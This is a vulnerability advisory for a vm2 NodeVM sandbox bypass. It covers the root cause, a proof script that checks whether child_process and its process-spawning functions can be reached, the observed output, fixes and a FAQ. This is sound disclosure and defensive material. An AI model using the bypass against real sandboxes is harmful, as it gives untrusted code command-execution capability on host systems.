CVE-2026-92957: vm2 before 3.11.7 NodeVM Builtin Deny-List Bypass via node: Prefix
Summary
NodeVM normalizes node:-prefixed builtin specifiers during require() resolution, but it does not normalize user-provided negative builtin entries in wildcard policy.
As a result, this configuration:
js new NodeVM({ require: { builtin: ['', '-node:childprocess'] } });
does not deny the canonical childprocess builtin. Sandboxed code can require both childprocess and node:childprocess, and receives the host module with process-spawning APIs such as execSync and spawn.
The safe proof below only checks module and function reachability. It does not execute any OS command.
Affected Mode
NodeVM.
Affected Configuration
js new NodeVM({ require: { builtin: ['', '-node:childprocess'] } });
This affects users who deny builtins using their node:-prefixed spelling, expecting -node:childprocess to deny require('node:childprocess') and require('childprocess').
Affected Files / Functions
- lib/builtin.js - makeBuiltinsFromLegacyOptions - wildcard builtin expansion - exact negative entry check: builtins.indexOf(\-${name}\) - addDefaultBuiltin - lib/resolver.js - Resolver.resolve - lib/setup-node-sandbox.js - requireImpl - node: prefix stripping before builtin load
Root Cause
lib/setup-node-sandbox.js strips the node: prefix from resolved builtin filenames before loading the builtin:
js if (localStringPrototypeStartsWith(filename, 'node:')) { id = localStringPrototypeSlice(filename, 5); let nmod = cacheBuiltins[id]; if (!nmod) { nmod = loadBuiltinModule(id); if (!nmod) throw new VMError(Cannot find module '${filename}', 'ENOTFOUND'); cacheBuiltins[id] = nmod; } return nmod; }
But lib/builtin.js checks wildcard negative entries by exact string match against the names in BUILTINMODULES:
js if (builtins.indexOf(-${name}) === -1) { addDefaultBuiltin(res, name, hostRequire); }
BUILTINMODULES contains the canonical name childprocess, not node:childprocess. Therefore -node:childprocess does not exclude childprocess, and addDefaultBuiltin() registers the host builtin.
Security Boundary Crossed
Sandboxed code reaches a host builtin that the embedder attempted to deny.
Boundary crossed:
- sandbox -> host childprocess builtin - sandbox -> host process-spawning function references
Impact
Confirmed impact:
- require('childprocess') succeeds inside the sandbox. - require('node:childprocess') succeeds inside the sandbox. - The returned module exposes execSync and spawn as functions.
Worst confirmed impact is access to host process-spawning APIs. The proof does not execute any command.
The proof does not execute a command, but it confirms access to the host childprocess module and its process-spawning APIs. For untrusted sandbox code, this is equivalent to command execution capability.
Safe Local Reproduction
Tested on Node.js v24.14.0.
This proof only checks whether the module and dangerous functions are reachable. It does not spawn a process and does not run OS commands.
js 'use strict';
const { NodeVM } = require('./');
function probe(builtin) { const vm = new NodeVM({ require: { builtin } });
return vm.run( const out = {};
for (const spec of ['childprocess', 'node:childprocess']) { try { const cp = require(spec); out[spec] = { loaded: true, execSyncType: typeof cp.execSync, spawnType: typeof cp.spawn, moduleToStringTag: Object.prototype.toString.call(cp) }; } catch (e) { out[spec] = { loaded: false, name: e && e.name, code: e && e.code, message: e && e.message }; } }
module.exports = out; ); }
console.log(JSON.stringify({ nodeVersion: process.version, denyNodePrefixed: probe(['', '-node:childprocess']), denyCanonical: probe(['', '-childprocess']) }, null, 2));
Observed result:
json { "nodeVersion": "v24.14.0", "denyNodePrefixed": { "childprocess": { "loaded": true, "execSyncType": "function", "spawnType": "function", "moduleToStringTag": "[object Object]" }, "node:childprocess": { "loaded": true, "execSyncType": "function", "spawnType": "function", "moduleToStringTag": "[object Object]" } }, "denyCanonical": { "childprocess": { "loaded": false, "name": "VMError", "code": "ENOTFOUND", "message": "Cannot find module 'childprocess'" }, "node:childprocess": { "loaded": false, "name": "VMError", "code": "ENOTFOUND", "message": "Cannot find module 'node:childprocess'" } } }
Expected Secure Behavior
-node:childprocess and -childprocess should be equivalent.
If either spelling is denied, both of these should fail:
js require('childprocess') require('node:childprocess')
Suggested Fix
1. Canonicalize builtin names before allow/deny comparison: - Strip node: from user-provided builtin entries. - Preserve whether an entry is negative (-...) before canonicalizing. - Store and compare one canonical builtin key.
2. Apply the same normalization to: - wildcard negative entries - explicit allowlist entries - object-form builtin entries - mock/override keys if they are intended to support node: spelling
3. Add regression tests: - builtin: ['', '-node:childprocess'] blocks childprocess. - builtin: ['', '-node:childprocess'] blocks node:childprocess. - builtin: ['', '-node:fs'] blocks fs and node:fs. - builtin: ['', '-node:fs/promises'] and -fs/promises behave consistently. - Canonical dangerous builtins remain denied even if explicitly requested with node: spelling.
Other sources
vm2 through 3.11.6 does not normalize node:-prefixed builtin specifiers when evaluating user-supplied negative (deny) entries in a NodeVM wildcard require policy. Although NodeVM strips the node: prefix during require() resolution, negative wildcard entries are matched by exact string comparison against the canonical builtin names, so a policy such as new NodeVM({ require: { builtin: ['', '-node:childprocess'] } }) fails to deny the canonical childprocess module. Sandboxed code can therefore obtain the host childprocess builtin via require('childprocess') or require('node:childprocess'), gaining references to process-spawning APIs such as execSync and spawn, which is equivalent to host command-execution capability for untrusted sandbox code. Fixed in vm2 3.11.7.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/vm2to a version that resolves this vulnerability.Fixed in 3.11.7 - Upgrade
Upgrade
vm2to a version that resolves this vulnerability.Fixed in 3.11.7
Event History
Frequently Asked Questions
Which deployments are exposed to this issue?
Deployments using NodeVM with a wildcard builtin require policy that attempts to deny a builtin using a node:-prefixed negative entry are exposed. For example, ['*', '-node:child_process'] does not block access to the canonical child_process builtin.
What does an attacker need to exploit the bypass?
An attacker needs the ability to run untrusted code in the affected NodeVM sandbox. That code can call require('child_process') or require('node:child_process') to obtain process-spawning APIs.
Are default configurations affected?
The issue affects the described wildcard allow policy combined with node:-prefixed deny entries. The provided information does not establish that configurations without this policy pattern are affected.
What should be done if upgrading cannot happen immediately?
Do not rely on node:-prefixed negative builtin entries to restrict sandboxed code. Remove wildcard builtin access or ensure sensitive builtins such as child_process are not available through the NodeVM require policy until vm2 3.11.7 can be deployed.
How can I identify a vulnerable policy?
Review NodeVM require.builtin settings for wildcard entries together with exclusions such as '-node:child_process'. On affected versions through 3.11.6, test whether sandboxed code can successfully require child_process despite that exclusion.